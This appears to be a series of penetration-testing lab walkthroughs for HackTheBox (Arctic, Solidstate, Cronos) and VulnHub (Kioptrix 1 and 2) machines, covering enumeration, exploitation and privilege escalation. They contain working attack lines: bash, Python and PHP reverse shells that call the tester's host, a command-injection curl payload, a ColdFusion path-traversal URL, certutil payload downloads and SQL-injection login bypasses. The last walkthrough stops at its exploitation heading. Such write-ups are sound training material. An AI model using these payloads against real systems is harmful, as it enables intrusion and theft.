HTB-Arctic

HTB-Arctic (10.10.10.11)

Portscan

Running a full portscan against this box we only find three open ports with two of them being related to Windows RPC. Port 8500 looks interesting as nmap has it labeled as ‘fmtp?’. We can start our exploration here.

Nmap scan report for 10.10.10.11
 Host is up (0.041s latency).
 PORT      STATE SERVICE VERSION
 135/tcp   open  msrpc   Microsoft Windows RPC
 8500/tcp  open  fmtp?
 49154/tcp open  msrpc   Microsoft Windows RPC
 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

With the suspicion that this could be a web server running on port 8500, we can issue the curl command to grab the headers. Our suspicion is confirmed and we see it is an Adobe JRun web server. We open a browser and navigate to the page.

root@kali:~# curl --head http://10.10.10.11:8500
 HTTP/1.0 200 OK
 Date: Sat, 11 Jan 2020 11:15:18 GMT
 Content-Type: text/html; charset=utf-8
 Connection: close
 Server: JRun Web Server

We are greeted with a directory listing and after poking around a little bit with the folder structure we see we are dealing with an instance of Adobe Cold Fusion version 8.

Cold Fusion Hacking

We do a searchsploit for cold fusion and see there are a number of vulnerabilities. One of the top results is a Directory Traversal vulnerability. Examining this exploit we see a sample directory traversal for version 8 that appears like it will give us the password hash.

root@kali:~# searchsploit -x 14641
 Working GET request courtesy of carnal0wnage:
 http://server/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en

We try this directory traversal in our browser and we are greeted with the password hash of the admin account! We plug this hash into https://crackstation.net/ and get the password of happyday

From here we can login to the Cold Fusion admin page with the admin account:

Now that we are logged into the admin interface we want to work towards getting a shell on the box. We can leverage the Scheduled Tasks feature to upload and execute a payload. We will first generate a JSP reverse shell using msfvenom.

root@kali:~# msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.38 LPORT=9999 -f raw > rev.jsp
 

After generating our payload we start metasploit and setup a listener as follows:

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set PAYLOAD java/jsp_shell_reverse_tcp
PAYLOAD => java/jsp_shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST tun0
LHOST => tun0
msf5 exploit(multi/handler) > set LPORT 9999
LPORT => 9999
msf5 exploit(multi/handler) > exploit -j

We also need to setup our Python simple web server to host our payload:

root@kali:~# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 …

Within Cold Fusion under Debugging & Logging > Scheduled Tasks we click on Schedule New Task and fill out the details as below. We will save our shell to C:\ColdFusion8\wwwroot\CFIDE\rev.jsp. To determine the full path to the folder we can take a look at Server Settings > Mappings.

After pressing the submit button we see our new task and can click on the leftmost icon under actions to run the job.

On our Kali box we see the rev.jsp file gets requested. We can then trigger the reverse shell by navigating to http://10.10.10.11:8500/CFIDE/administrator/rev.jsp in our browser to get our shell.

root@kali:~# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 …
10.10.10.11 - - [10/Jan/2020 00:02:59] "GET /rev.jsp HTTP/1.1" 200 -
msf5 exploit(multi/handler) > [*] Command shell session 1 opened (10.10.14.38:9999 -> 10.10.10.11:53500) 
msf5 exploit(multi/handler) > sessions -i 1
 [*] Starting interaction with 1…
 C:\ColdFusion8\runtime\bin>whoami
 whoami
 arctic\tolis

We are on the box as user arctic\tolis and can grab the user.txt flag with the command: type C:\Users\tolis\Desktop\user.txt

We check to see if our current user is in the Administrators group but see that we aren’t (Only the Administrator account is found). Next, we will run the systeminfo command to gather more information about the system and use this to see what avenues are open for local privilege escalation.

C:>net localgroup Administrators
 net localgroup Administrators
 Alias name     Administrators
 Comment        Administrators have complete and unrestricted access to the computer/domain
 Members
 
 Administrator
 The command completed successfully.
C:>systeminfo
 systeminfo
 Host Name:                 ARCTIC
 OS Name:                   Microsoft Windows Server 2008 R2 Standard 
 OS Version:                6.1.7600 N/A Build 7600
 OS Manufacturer:           Microsoft Corporation
 OS Configuration:          Standalone Server
 OS Build Type:             Multiprocessor Free
 Registered Owner:          Windows User
 Registered Organization:   
 Product ID:                55041-507-9857321-84451
 Original Install Date:     22/3/2017, 11:09:45 
 System Boot Time:          10/1/2020, 8:59:44 
 System Manufacturer:       VMware, Inc.
 System Model:              VMware Virtual Platform
 System Type:               x64-based PC
 Processor(s):              2 Processor(s) Installed.
                            [01]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz
                            [02]: AMD64 Family 23 Model 1 Stepping 2 AuthenticAMD ~2000 Mhz
 BIOS Version:              Phoenix Technologies LTD 6.00, 12/12/2018
 Windows Directory:         C:\Windows
 System Directory:          C:\Windows\system32
 Boot Device:               \Device\HarddiskVolume1
 System Locale:             el;Greek
 Input Locale:              en-us;English (United States)
 Time Zone:                 (UTC+02:00) Athens, Bucharest, Istanbul
 Total Physical Memory:     1.023 MB
 Available Physical Memory: 250 MB
 Virtual Memory: Max Size:  2.047 MB
 Virtual Memory: Available: 1.180 MB
 Virtual Memory: In Use:    867 MB
 Page File Location(s):     C:\pagefile.sys
 Domain:                    HTB
 Logon Server:              N/A
 Hotfix(s):                 N/A
 Network Card(s):           1 NIC(s) Installed.
                            [01]: Intel(R) PRO/1000 MT Network Connection
                                  Connection Name: Local Area Connection
                                  DHCP Enabled:    No
                                  IP address(es)
                                  [01]: 10.10.10.11

We copy the output of this command and paste it into a text file and then run Windows Exploit Suggester against it. Since we see the box is unpatched and has “N/A” by the Hotfix(s) field we should be able to find something 🙂

We will give MS10-059 a try to see if we can leverage this to get SYSTEM. We can download a compiled exploit for this vulnerability here: https://github.com/egre55/windows-kernel-exploits. The name of the executable is Chimichurri.exe. We will move the .exe to the same folder our Python SimpleHTTPServer is running and then pull it down on our victim box by leveraging the certutil.exe command.

C:\Users\tolis\Downloads>certutil.exe -urlcache -split -f http://10.10.14.29/Chimichurri.exe Chimichurri.exe
 certutil.exe -urlcache -split -f http://10.10.14.29/Chimichurri.exe Chimichurri.exe
 ****  Online  ****
   000000  …
   0bf800
 CertUtil: -URLCache command completed successfully.

We setup a netcat listener on port 7777 to catch the reverse SYSTEM shell that our exploit will send and then fire off the exploit with:

C:\Users\tolis\Downloads>Chimichurri.exe 10.10.14.29 7777

We get our reverse shell and confirm we’ve rooted the box and are now running as the SYSTEM account!

HTB-Solidstate

HTB – Solidstate (10.10.10.51)

Portscan

After completing a full port scan and finding 6 open ports. We initiate another nmap scan on these open ports to grab service & version info and to run nmap’s default scripts:

nmap -sSVC -p 22,25,80,110,119,4555 -oA solidstate 10.10.10.51

PORT     STATE SERVICE     VERSION
 22/tcp   open  ssh         OpenSSH 7.4p1 Debian 10+deb9u1 (protocol 2.0)
 | ssh-hostkey: 
 |   2048 77:00:84:f5:78:b9:c7:d3:54:cf:71:2e:0d:52:6d:8b (RSA)
 |   256 78:b8:3a:f6:60:19:06:91:f5:53:92:1d:3f:48:ed:53 (ECDSA)
 |_  256 e4:45:e9:ed:07:4d:73:69:43:5a:12:70:9d:c4:af:76 (ED25519)
 25/tcp   open  smtp        JAMES smtpd 2.3.2
 |_smtp-commands: solidstate Hello nmap.scanme.org (10.10.14.4 [10.10.14.4]), 
 80/tcp   open  http        Apache httpd 2.4.25 ((Debian))
 |_http-server-header: Apache/2.4.25 (Debian)
 |_http-title: Home - Solid State Security
 110/tcp  open  pop3        JAMES pop3d 2.3.2
 119/tcp  open  nntp        JAMES nntpd (posting ok)
 4555/tcp open  james-admin JAMES Remote Admin 2.3.2

The version information for ports 25 (SMTP), 110 (POP3), 119 (NNTP), and 4555 show this machine is running Apache JAMES (Java Apache Mail Enterprise Server). This will certainly warrant further exploration and research. However, since port 80 is open let’s first start by exploring the web page. We are greeted with a page for a security company named ‘Solid State Security’.

We try some of the usual checks like looking for /robots.txt, adding solidstate.htb to our /etc/hosts file and checking for virtual hosts but don’t find anything. We move on to running nikto and gobuster but the results are not particularly interesting.

root@kali:~# nikto -h 10.10.10.51
 - Nikto v2.1.6
 Target IP:          10.10.10.51
 Target Hostname:    10.10.10.51
 Target Port:        80 
...
 Server: Apache/2.4.25 (Debian)
 The anti-clickjacking X-Frame-Options header is not present.
 The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
 The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
 No CGI Directories found (use '-C all' to force check all possible dirs)
 Apache/2.4.25 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
 Server may leak inodes via ETags, header found with file /, inode: 1e60, size: 5610a1e7a4c9b, mtime: gzip
 Allowed HTTP Methods: GET, HEAD, POST, OPTIONS 
 OSVDB-3268: /images/: Directory indexing found.
 OSVDB-3092: /LICENSE.txt: License file found may identify site software.
 OSVDB-3233: /icons/README: Apache default file found.
 7863 requests: 0 error(s) and 9 item(s) reported on remote host 
root@kali:~# gobuster dir -x txt,html,php,bak -u http://10.10.10.51 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
...
 /index.html (Status: 200)
 /images (Status: 301)
 /about.html (Status: 200)
 /services.html (Status: 200)
 /assets (Status: 301)
 /README.txt (Status: 200)
 /LICENSE.txt (Status: 200)
 /server-status (Status: 403)

We now turn our attention back to Apache JAMES and run searchsploit to see if there are exploits for any vulnerabilities in the 2.3.2 version.

We see there is a Remote Command Execution vulnerability for Apache James version 2.3.2 ! We examine the python script and review the payload section which by default is only going to print the effective ID and attempt to create a file. We will want to edit this to something that will give us a shell.

In reading through the exploit as well as the Apache James documentation , we see that the default credentials for the remote administrative service on TCP port 4555 is user: root and password: root. If these defaults have been changed we would first need to find valid credentials. We swap out the payload line and replace with a command to give us a reverse shell on port 9999. We then setup a netcat listener on port 9999 and fire the exploit.

payload = 'bash -i >& /dev/tcp/10.10.14.5/9999 0>&1'

The exploit appears to run successfully so the default credentials on the remote administration interface must have worked. Unfortunately, we still do not have a shell as the payload will only be triggered when a user logs in. We will have to find valid credentials for a user on the box. Since we’ve already explored the web page and haven’t found anything useful, we will now turn our attention to the Apache James remote administration interface. We should be able to login to the admin interface on port 4555 with the default credentials.

We use telnet to login to the admin interface and then run the help command to see what we can do.

help 
 Currently implemented commands:
 help                                    display this help
 listusers                               display existing accounts
 countusers                              display the number of existing accounts
 adduser [username] [password]           add a new user
 verify [username]                       verify if specified user exist
 deluser [username]                      delete existing user
 setpassword [username] [password]       sets a user's password
 setalias [user] [alias]                 locally forwards all email for 'user' to 'alias'
 showalias [username]                    shows a user's current email alias
 unsetalias [user]                       unsets an alias for 'user'
 setforwarding [username] [emailaddress] forwards a user's email to another email address
 showforwarding [username]               shows a user's current email forwarding
 unsetforwarding [username]              removes a forward
 user [repositoryname]                   change to another user repository
 shutdown                                kills the current JVM (convenient when James is run as a daemon)
 quit                                    close connection

We see that we can list users as well as change their passwords! If we can reset their passwords we could connect via POP3 and read any emails they may have. This is certainly worth exploring as we may be able to find some sensitive information in their emails.

listusers
 Existing accounts 6
 user: james
 user: ../../../../../../../../etc/bash_completion.d
 user: thomas
 user: john
 user: mindy
 user: mailadmin

We see 6 accounts including the one that was created by our exploit script. We will proceed to use the setpassword command to reset the password on the user’s accounts and then try to login as them.

setpassword james Passw0rd 
Password for james reset
setpassword thomas Passw0rd
Password for thomas reset
setpassword john Passw0rd
Password for john reset
setpassword mindy Passw0rd
Password for mindy reset
setpassword mailadmin Passw0rd
Password for mailadmin reset

Now we will telnet to port 110 (POP3) and try to login and retrieve any mail in these accounts. For more information on using telnet with POP3 see this. As we go through the accounts one by one we find the first interesting tidbit in john’s emails.

root@kali:~# telnet 10.10.10.51 110
 Trying 10.10.10.51…
 Connected to 10.10.10.51.
 Escape character is '^]'.
 +OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready 
 USER john
 +OK
 PASS Passw0rd
 +OK Welcome john
 STAT
 +OK 1 743
 RETR 1
 +OK Message follows
 Return-Path: 
 Message-ID: <9564574.1.1503422198108.JavaMail.root@solidstate>
 MIME-Version: 1.0
 Content-Type: text/plain; charset=us-ascii
 Content-Transfer-Encoding: 7bit
 Delivered-To: john@localhost
 Received: from 192.168.11.142 ([192.168.11.142])
           by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
           for ;
           Tue, 22 Aug 2017 13:16:20 -0400 (EDT)
 Date: Tue, 22 Aug 2017 13:16:20 -0400 (EDT)
 From: mailadmin@localhost
 Subject: New Hires access
 John, 
 Can you please restrict mindy's access until she gets read on to the program. Also make sure that you send her a tempory password to login to her accounts.
 Thank you in advance.
 Respectfully,
 James
 .

It looks like John is supposed to send Mindy credentials so we’ll skip directly to her account and see if we can find them in her emails.

root@kali:~# telnet 10.10.10.51 110
 Trying 10.10.10.51…
 Connected to 10.10.10.51.
 Escape character is '^]'.
 +OK solidstate POP3 server (JAMES POP3 Server 2.3.2) ready
 USER mindy
 +OK
 PASS Passw0rd
 +OK Welcome mindy
 STAT
 +OK 2 1945
 retr 1
 +OK Message follows
 Return-Path: 
 Message-ID: <5420213.0.1503422039826.JavaMail.root@solidstate>
 MIME-Version: 1.0
 Content-Type: text/plain; charset=us-ascii
 Content-Transfer-Encoding: 7bit
 Delivered-To: mindy@localhost
 Received: from 192.168.11.142 ([192.168.11.142])
           by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 798
           for ;
           Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
 Date: Tue, 22 Aug 2017 13:13:42 -0400 (EDT)
 From: mailadmin@localhost
 Subject: Welcome
 Dear Mindy,
 Welcome to Solid State Security Cyber team! We are delighted you are joining us as a junior defense analyst. Your role is critical in fulfilling the mission of our orginzation. The enclosed information is designed to serve as an introduction to Cyber Security and provide resources that will help you make a smooth transition into your new role. The Cyber team is here to support your transition so, please know that you can call on any of us to assist you.
 We are looking forward to you joining our team and your success at Solid State Security.
 Respectfully,
 James
 .
 retr 2
 +OK Message follows
 Return-Path: 
 Message-ID: <16744123.2.1503422270399.JavaMail.root@solidstate>
 MIME-Version: 1.0
 Content-Type: text/plain; charset=us-ascii
 Content-Transfer-Encoding: 7bit
 Delivered-To: mindy@localhost
 Received: from 192.168.11.142 ([192.168.11.142])
           by solidstate (JAMES SMTP Server 2.3.2) with SMTP ID 581
           for ;
           Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
 Date: Tue, 22 Aug 2017 13:17:28 -0400 (EDT)
 From: mailadmin@localhost
 Subject: Your Access
 Dear Mindy,
 Here are your ssh credentials to access the system. Remember to reset your password after your first login.
 Your access is restricted at the moment, feel free to ask your supervisor to add any commands you need to your path.
 username: mindy
 pass: P@55W0rd1!2@
 Respectfully,
 James
 .

Bingo! We have Mindy’s SSH credentials which we should be able to use to sign on. As soon as we sign on, it triggers the payload from our earlier exploit and we get a reverse shell on port 9999. As suggested by the emails we read, Mindy’s account appears to be running in a restricted shell so we are limited from doing much of anything when signing in via SSH. Fortunately, our reverse shell that was sent to us via the James exploit is not restricted and we can proceed with enumerating the box and looking for a way to escalate.

Logging into Mindy’s account via SSH
Unrestricted Reverse Shell Running Under Mindy’s Account

We can now run our standard privilege escalation checking scripts like LinEnum.sh. We navigate to the folder where our scripts are located on Kali and then fire up the Python simple HTTP server with: python -m SimpleHTTPServer 80 and then download it on the target box with wget. Once we have LinEnum on our target box we want to launch it with the thorough checks enabled: ./LinEnum.sh -t . Reading through the output there is an interesting python script that is owned by root but we have access to modify it.

Looking at the contents of the python script it appears to be something that root may be running on a regular basis to cleanup the /tmp folder structure.

cat /opt/tmp.py
#!/usr/bin/env python
import os
import sys
try:
     os.system('rm -r /tmp/* ')
except:
     sys.exit()

We will overwrite the script with a python reverse shell script and then setup the netcat listener and wait…

import socket
import subprocess
import os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.5",8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

A few minutes later we are rewarded with a root shell!!!

Lessons Learned

  • Take the time to really read & understand exploit code to see what it does and what dependencies & requirements it has
  • Make sure to run LinEnum with thorough checks enabled (-t) so that it will pickup interesting items like the /opt/tmp.py script in this case.

Links & Resources

HTB – Cronos

Cronos (10.10.10.13)

After running our port scans we find three open ports. The box is running SSH, a DNS server, and a webserver.

root@kali:~# nmap -sSVC -p- 10.10.10.13

 PORT   STATE SERVICE VERSION
 22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
 | ssh-hostkey:
 |   2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
 |   256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
 |_  256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
 53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
 | dns-nsid:
 |_  bind.version: 9.10.3-P4-Ubuntu
 80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
 |_http-server-header: Apache/2.4.18 (Ubuntu)
 |_http-title: Apache2 Ubuntu Default Page: It works
 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Now that we have a list of open ports and what services each one is running we need to enumerate each one further and determine which one is going to be our initial way in. SSH is probably not going to be our initial way in unless we discover credentials while enumerating another service. A quick search using searchsploit reveals there is a vulnerability in OpenSSH 7.2p2 that would allow for checking whether a particular username exists. We will keep this in mind in case it becomes useful later.

Port 80 (HTTP) is usually interesting and often opens a number of opportunities for further enumeration. Let’s first navigate to the web page in a browser. We are greeted with an Apache default page.

Since we only get a default page when browsing to the page using the machine’s IP address, we may want to consider that there could be virtual host routing in play. If we edit our /etc/hosts file to add the machine’s name cronos.htb and then revisit the page we now get a different page:

Taking a look at the links on this page they are all linking off the site and are out of scope. It appears the site is running Laravel a PHP web framework. Taking a look at the source for the page as well as browsing to http://cronos.htb/robots.txt doesn’t yield anything particularly interesting. We will want to do further vulnerability research on Laravel and try to find the version running and see if there is anything we can exploit. In the meantime, let’s kick off nikto and gobuster.

root@kali:~# gobuster dir -u http://cronos.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large
 -directories.txt                                                                                      
 Gobuster v3.0.1
 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@FireFart)
 [+] Url:            http://cronos.htb
 [+] Threads:        10
 [+] Wordlist:       /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
 [+] Status codes:   200,204,301,302,307,401,403
 [+] User Agent:     gobuster/3.0.1
 [+] Timeout:        10s
 2019/12/25 13:14:41 Starting gobuster
 /js (Status: 301)
 /css (Status: 301)
 /server-status (Status: 403)
root@kali:~/hackthebox/cronos-10.10.10.13# nikto -h cronos.htb
 - Nikto v2.1.6
 Target IP:          10.10.10.13
 Target Hostname:    cronos.htb
 Target Port:        80 
 + Start Time:         2019-12-25 13:15:02 (GMT-5)
 Server: Apache/2.4.18 (Ubuntu)
 The anti-clickjacking X-Frame-Options header is not present.
 The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
 The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
 Cookie XSRF-TOKEN created without the httponly flag
 No CGI Directories found (use '-C all' to force check all possible dirs)
 Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
 Allowed HTTP Methods: GET, HEAD 
 OSVDB-3092: /web.config: ASP config file is accessible.
 OSVDB-3268: /css/: Directory indexing found.
 OSVDB-3092: /css/: This might be interesting…
 OSVDB-3233: /icons/README: Apache default file found.
 7785 requests: 0 error(s) and 10 item(s) reported on remote host 
 + End Time:           2019-12-25 13:20:45 (GMT-5) (343 seconds)
 1 host(s) tested 

Since we’re not seeing anything jump out at us right away, now would be a good time to take a step back and review the other services we haven’t enumerated yet. Let’s explore DNS and see if we can do a zone transfer for the cronos.htb domain.

root@kali:~# host -l cronos.htb 10.10.10.13
 Using domain server:
 Name: 10.10.10.13
 Address: 10.10.10.13#53
 Aliases: 
 cronos.htb name server ns1.cronos.htb.
 cronos.htb has address 10.10.10.13
 admin.cronos.htb has address 10.10.10.13
 ns1.cronos.htb has address 10.10.10.13
 www.cronos.htb has address 10.10.10.13

This yields several additional host names we should add to our /etc/hosts file and check out. It turns out that http://ns1.cronos.htb takes us to the default Apache page and http://www.cronos.htb takes us to the same page as just http://cronos.htb so those aren’t anything new. However, when we go to http://admin.cronos.htb we are greeted with a login page!

After trying some common default usernames and passwords we don’t get in. Let’s try running gobuster against admin.cronos.htb. We will use a different dictionary (one from dirbuster) and also let’s specify some specific extensions to try: ext, php, txt, bak.

root@kali:~# gobuster dir -x txt,bak,ext,php -u http://admin.cronos.htb -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt 
...
 /index.php (Status: 200)
 /welcome.php (Status: 302)
 /logout.php (Status: 302)
 /config.php (Status: 200)
 /session.php (Status: 302)
 /server-status (Status: 403)

We’ve discovered some new interesting pages! Let’s fire up Burp Suite and manually poke around at these pages. When we navigate to http://admin.cronos.htb/welcome.php it immediately redirects us to http://admin.cronos.htb/index.php and the familiar login page. However, we notice something interesting when we examine the request in Burp.


Even without logging in we are able to see the page is some sort of tool that allows you to run traceroute or ping. This suggests that we may want to look for a command injection vulnerability. We can use curl to send a HTTP POST request passing the command & host parameters and see if we can add a semicolon followed by a command of our own. We will start up a netcat listener on our Kali box and see if we can trigger a connection to our machine as follows:

curl -d "command=traceroute&host=8.8.8.8;nc 10.10.14.4 8888" http://admin.cronos.htb/welcome.php

It worked! We were able to trigger a command injection vulnerability and get it to connect back to our machine. Now we will grab the PHP reverse shell from here: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet and attempt to get a shell on the box. We edit the reverse shell to use the IP address of our Kali box and port 8888. We then use https://www.urlencoder.org/ to urlencode it. After setting up the listener we issue our curl command as follows to get a reverse shell.

curl -d "command=traceroute&host=8.8.8.8;php%20-r%20%27%24sock%3Dfsockopen%28%2210.10.14.4%22%2C8888%29%3Bexec%28%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27" http://admin.cronos.htb/welcome.php

Now we have a reverse shell running under the context of the the www-data account. We can use wget to transfer over the LinEnum.sh script and then run it to attempt to identify avenues for privilege escalation. After running the script and examining the output we find an interesting cron job running under the root account.

[-] Crontab contents:                                                                                     
 /etc/crontab: system-wide crontab
 Unlike any other crontab you don't have to run the `crontab'
 command to install the new version when you edit this file
 and files in /etc/cron.d. These files also have username fields,
 that none of the other crontabs do.
 SHELL=/bin/sh
 PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
 m h dom mon dow user  command
 17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
 25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )                                                                                                           
 47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )                                                                                                          
 52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )                                                                                                         
 * * * *       root    php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1 

If we examine the /var/www/laravel/artisan file we see that we own it and can modify it! We can either replace or append php code to this file to trigger a root shell.

www-data@cronos:/$ ls -lh /var/www/laravel/artisan
  -rwxr-xr-x 1 www-data www-data 1.7K Apr  9  2017 /var/www/laravel/artisan
 www-data@cronos:/$ 

We will replace the file with a simple one line PHP script to send us a reverse shell on port 9999 as shown below. Afterwards, we setup a netcat listener and wait for our root shell to arrive.

echo '<?php $sock=fsockopen("10.10.14.4",9999);exec("/bin/sh -i <&3 >&3 2>&3"); ?>' /var/www/laravel/artisan 

Within a minute the cron job runs and we do our r00t dance 🙂

Kioptrix Level 1.1 (#2)

Kioptrix Level 1.1 (#2)

Find this VM on Vulnhub here.

Recon, Scanning & Enumeration

After determining the IP of the virtual machine (192.168.10.233 in this case), we start with a quick Nmap scan of the top 1,000 ports. In a little over a second and a half we have a listing of 6 open ports. We see the target is running a web server and since port 3306 is also open it suggests there may be a web app talking to a MySQL database.

root@linux:~# nmap --top-ports 1000 192.168.10.233
Starting Nmap 7.60 ( https://nmap.org ) at 2019-01-01 03:57 UTC
Nmap scan report for 192.168.10.233
Host is up (0.000023s latency).
Not shown: 994 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
443/tcp open https
631/tcp open ipp
3306/tcp open mysql
MAC Address: 00:0C:29:FD:D6:14 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 1.60 seconds

Let’s run another scan targeting these open ports and enabling service and version detection. (We can run a full port scan later to discover any additional ports we missed–e.g., nmap -sVC -p- 192.168.10.233)

root@linux:~# nmap -sV -p 22,80,111,443,631,3306 192.168.10.233
Starting Nmap 7.60 ( https://nmap.org ) at 2019-01-01 04:40 UTC
Nmap scan report for 192.168.10.233
Host is up (-0.090s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 3.9p1 (protocol 1.99)
80/tcp open http Apache httpd 2.0.52 ((CentOS))
111/tcp open rpcbind 2 (RPC #100000)
443/tcp open ssl/http Apache httpd 2.0.52 ((CentOS))
631/tcp open ipp CUPS 1.1
3306/tcp open mysql MySQL (unauthorized)

Let’s look into the web server and any web apps first. Port 631 (CUPS 1.1) could also be of interest and we can revisit this later if needed. We start out by grabbing the headers:

root@linux:~# curl --head 192.168.10.233
HTTP/1.1 200 OK
Date: Tue, 01 Jan 2019 02:46:12 GMT
Server: Apache/2.0.52 (CentOS)
X-Powered-By: PHP/4.3.9
Connection: close
Content-Type: text/html; charset=UTF-8

We could start running searchsploit searches on these versions of Apache and PHP, but first let’s browse to the actual page and see what we see.

After trying a few combinations we can see that we don’t get an error message for invalid attempts. Our previous discovering of MySQL running on the machine gives us a clue that we may want to attempt SQL injection to see if we can bypass the login prompt. By entering ‘ or 1=1 — in both the Username and Password field we are able to bypass the login prompt. For more on SQL injection (SQLi) check out this article.

SQL injection

A simple web app to ping machines

After getting past the authentication we are presented with a simple web application that appears to run the ping command against a target of our choosing. We test this out using the Loopback address (127.0.0.1):

Pinging localhost

After entering 127.0.0.1 into the text field and clicking the submit button we are taken to the page shown above with the results from our ping command. Since this simple web app appears to be taking whatever we enter in the textbox and calling the ping command against it we want to check if command injection is possible. By adding a semicolon to the end of the IP address entered we can see if a command gets executed after running the ping command:

Attempting command injection
Successful command injection!

Success! After the normal output from pinging 127.0.0.1 we see the output from running the id command. We can leverage this command injection vulnerability to get an interactive shell. We’ll setup a netcat listener on our attack machine listening on port 4444 (nc -nlvp 4444) and then execute a bash reverse shell using command injection on the web app (bash -i >& /dev/tcp/[insert attacker IP]/4444 0>&1).

Setup listener and prepare reverse shell

And there we go. We now have an interactive shell on our target machine running under the context of the apache user account. We quickly upgrade our shell to a full TTY using python.

Now, we need to find a way to escalate our privileges and get root. Let’s get some system information and see what kernel is running on the box.

bash-3.00$ uname -a
uname -a
Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux

Using searchsploit or Exploit-DB we identify a local privilege escalation vulnerability affecting the Linux kernel running on this machine.

We can host the exploit code on our attack machine and then start a simple HTTP server and pull the file down on the target machine using wget. On the attack machine we run: python -m SimpleHTTPServer 80 in the directory where the exploit code is located. From our shell on the target machine we can then pull it down with wget http://[Attacker IP]/9542.c. After quickly compiling the exploit and running it we are greeted with a root shell!

Rooted!

Kioptrix Level #1

Kioptrix Level #1

You can find these challenges on VulnHub and here.

Recon, Scanning & Enumeration

After identifying the IP address of the virtual machine, we begin with a quick nmap scan of the top 1,000 ports to get a quick idea of what may be running on the host. By scanning just these 1,000 ports we should be over 90% effective in identifying common open ports (Reference: Optimizing Nmap Performance). We can start exploring these initial findings as we wait for a more thorough scan to complete.

 root@linux:~# nmap --top-ports 1000 192.168.10.119 

Starting Nmap 7.60 ( https://nmap.org ) at 2018-12-25 16:14 UTC
Nmap scan report for 192.168.10.119
Host is up (0.000033s latency).
Not shown: 994 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
443/tcp open https
1024/tcp open kdm
...

Before exploring these six open ports, let’s kick off a thorough scan with:

root@linux:~# nmap -sSVC -p- -oA kioptrix1 192.168.10.119

Now, on to the ports we already know about. First, let’s take a look at ports 80 & 443. We can use curl to quickly grab the headers:

root@linux:~# curl --head 192.168.10.119
HTTP/1.1 200 OK
Date: Tue, 25 Dec 2018 18:49:37 GMT
Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
Last-Modified: Thu, 06 Sep 2001 03:12:46 GMT
ETag: "8805-b4a-3b96e9ae"
Accept-Ranges: bytes
Content-Length: 2890
Connection: close
Content-Type: text/html

root@linux:~# curl --head 192.168.10.119:443
HTTP/1.1 400 Bad Request
Date: Tue, 25 Dec 2018 18:49:43 GMT
Server: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
Connection: close
Content-Type: text/html; charset=iso-8859-1

We notice that it is running an old version of the Apache web server with mod_ssl 2.8.4. Now, let’s quickly navigate to the page in our browser and see what is being hosted. Looks like the default Apache test page. At this point we could run a tool like dirb to see if we can find any hidden files, directories, or possibly other web apps that could be running on the server.

Default Apache Test Page

Instead, let’s first try scanning the site with nikto. We can scan both port 80 & 443 using the following syntax:

root@linux:~# nikto -h 192.168.10.119 -p 80,443

Looking through the output the following line grabs our attention:

 mod_ssl/2.8.4 - mod_ssl 2.8.7 and lower are vulnerable to a remote buffer overflow which may allow a remote shell (difficult to exploit). CVE-2002-0082, OSVDB-756. 

Exploitation

